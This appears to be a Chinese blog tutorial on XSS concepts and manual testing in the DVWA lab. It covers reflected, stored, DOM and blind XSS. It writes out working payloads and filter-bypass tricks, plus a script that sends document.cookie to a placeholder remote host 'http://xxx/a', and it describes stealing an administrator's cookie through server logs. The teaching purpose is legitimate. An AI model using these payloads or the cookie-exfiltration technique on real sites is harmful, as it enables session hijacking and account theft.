当前位置: 首页 > news >正文

【网络安全的神秘世界】XSS基本概念和原理介绍

在这里插入图片描述

🌝博客主页:泥菩萨

💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具

一、基本概念

恶意攻击者往web页面插入恶意代码脚本(JS代码),当用户浏览该页面时,嵌入web里面的JS代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击

跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(CSS)的缩写混淆,故将跨站脚本攻击缩写为XSS

XSS漏洞利用条件:能插入,能执行

二、XSS分类

2.1 反射型

也叫非持久型,常见的就是在url中构造,将恶意链接发送给目标用户。当用户访问链接的时候,会向服务器GET请求来访问带有恶意代码的链接。造成反射型XSS主要是GET类型

在这里插入图片描述

先输入恶意代码,造成弹窗说明攻击成功了

在这里插入图片描述

但是去了其他页面后再回来,攻击就没有了

在这里插入图片描述

像刚才的攻击流程,攻击一次立马失效,这就叫非持久型

2.2 存储型

也叫持久型,常见的就是在博客留言版、反馈投诉、论坛评论等位置,将恶意代码和正文都存入服务端,每次访问都会触发恶意代码
在这里插入图片描述

输入恶意代码,造成攻击

在这里插入图片描述

发现恶意代码被浏览器保存到页面了,访问其他网页再回来,仍会造成攻击,这就叫持久型

在这里插入图片描述

--------为什么写出来的恶意代码看不到?

因为js代码被浏览的解析引擎解析掉了,所以看到的是个空值

2.3 DOM型

属于反射型XSS,在网页的标签中写入js代码

三、手工测试

漏洞练习靶场:dvwa

3.1 反射性XSS

LOW低级

img标签支持onerror事件,在装载文档或图像的过程中如果发生了错误,就会触发onerror事件

<img src=## onerror=alert(document.cookie)>

在这里插入图片描述

a标签支持onmouseover事件,需要鼠标移动到a标签的位置才能触发

<a onmouseover=alert(document.cookie)>请点击</a>

在这里插入图片描述

a标签可以用来钓鱼或者暗链

Medium中级

输入,发现不能出现弹窗

在这里插入图片描述

查看dvwa源代码,发现对<script></script>进行了过滤,替换为空格

在这里插入图片描述

有很多绕过方式,可以尝试一下大小写混淆或双写绕过,或者也可以使用其他标签

大小写混淆:<ScRipt>alert(1)</script>
双写绕过:<sc<script>ript>alert(1)</script>
其他标签:<img src=x onerror=alert(1)>
High高级

通过正则表达式进行过滤<script>,可以换个标签进行绕过

在这里插入图片描述

把正则表达式复制粘贴到这个网站上,测试匹配结果:正则表达式在线测试

根据网页设置的正则表达式要勾选上-i

在这里插入图片描述

DOM XSS

通过自己声明的img标签反弹cookie

<script>var img=document.createElement("img");img.src=alert(document.cookie);</script>

发送cookie到远程服务器

<script>img=document.createElement("img");img.src="http://xxx/a?"+escape(document.cookie);
</script>

+:连字符,表示拼接

escape:在Java中表示一个编码,会对括号里的内容进行编码

无论访问成功与否都不重要,重要的是在http://xxx/a中会留下访问日志,攻击者就能获得cookie值

3.2 存储型XSS

LOW低级

直接输入测试代码<script>alert(1)</script>点击提交

在这里插入图片描述

Medium中级

输入测试代码<script>alert(1)</script>,没有造成弹窗

在这里插入图片描述

尝试换成<img>标签,发现还是不行

在这里插入图片描述

没什么思路了,去看看源代码吧

在这里插入图片描述

发现name输入框更好绕过,我们在name输入测试代码

但是发现name输入框有长度限制

在这里插入图片描述

可以在包里面进行修改

在这里插入图片描述

也可以按F12键,把长度改大或删除

在这里插入图片描述

High高级

直接看代码吧

在这里插入图片描述

同理,还是选择简单的name输入框进行测试

在这里插入图片描述

在这里插入图片描述

四、盲打

输入的内容提交后并不知道去哪里了

像下图就是盲打的场景

在这里插入图片描述

普通用户看不到,但是管理员账户可以看到

我们可以构造恶意代码,观察远程服务器web日志,只要网站管理员访问,它的cookie值就被盗取

在这里插入图片描述

当管理员登录后台后,还没反应过来就被攻击了

在这里插入图片描述

在这里插入图片描述

相关文章:

  • 北京网站建设多少钱?
  • 辽宁网页制作哪家好_网站建设
  • 高端品牌网站建设_汉中网站制作
  • FFmpeg引用计数数据缓冲区相关的结构体:AVBuffer、AVBufferRef简介
  • 3款ui设计师必备的高效软件,一定要收藏!
  • 谷粒商城 - 编写一个自定义校验注解
  • k8s-第一节-minikube
  • [从0开始轨迹预测][NMS]:NMS的应用(目标检测、轨迹预测)
  • 数据库图形化管理界面应用 Navicat Premium 使用教程
  • 基于SpringBoot构造超简易QQ邮件服务发送 第二版
  • 【持续集成_03课_Linux部署Sonar+Gogs+Jenkins】
  • HTML(30)——动画
  • QT调节屏幕亮度
  • 每日一练 - RSTP响应端口故障后的处理流程
  • springsecurity(学习自用)
  • 【漏洞复现】29网课交单平台 SQL注入
  • HTML5+JavaScript单词游戏
  • 博美犬插画:成都亚恒丰创教育科技有限公司
  • JS中 map, filter, some, every, forEach, for in, for of 用法总结
  • Angular 2 DI - IoC DI - 1
  • Go 语言编译器的 //go: 详解
  • isset在php5.6-和php7.0+的一些差异
  • Laravel 菜鸟晋级之路
  • Linux快速复制或删除大量小文件
  • nodejs实现webservice问题总结
  • php的插入排序,通过双层for循环
  • Spark RDD学习: aggregate函数
  • Webpack 4 学习01(基础配置)
  • Zepto.js源码学习之二
  • 基于Vue2全家桶的移动端AppDEMO实现
  • 那些年我们用过的显示性能指标
  • 扑朔迷离的属性和特性【彻底弄清】
  • 普通函数和构造函数的区别
  • 七牛云假注销小指南
  • 前端技术周刊 2018-12-10:前端自动化测试
  • 前端之React实战:创建跨平台的项目架构
  • 网络应用优化——时延与带宽
  • 学习使用ExpressJS 4.0中的新Router
  • 译有关态射的一切
  • 06-01 点餐小程序前台界面搭建
  • Redis4.x新特性 -- 萌萌的MEMORY DOCTOR
  • Spring Batch JSON 支持
  • ###项目技术发展史
  • #FPGA(基础知识)
  • $con= MySQL有关填空题_2015年计算机二级考试《MySQL》提高练习题(10)
  • (42)STM32——LCD显示屏实验笔记
  • (7)svelte 教程: Props(属性)
  • (javascript)再说document.body.scrollTop的使用问题
  • (javaweb)Http协议
  • (PySpark)RDD实验实战——取最大数出现的次数
  • (Redis使用系列) SpirngBoot中关于Redis的值的各种方式的存储与取出 三
  • (附源码)spring boot儿童教育管理系统 毕业设计 281442
  • (附源码)springboot优课在线教学系统 毕业设计 081251
  • (附源码)计算机毕业设计SSM基于java的云顶博客系统
  • (规划)24届春招和25届暑假实习路线准备规划
  • (回溯) LeetCode 131. 分割回文串
  • (强烈推荐)移动端音视频从零到上手(上)
  • (一)模式识别——基于SVM的道路分割实验(附资源)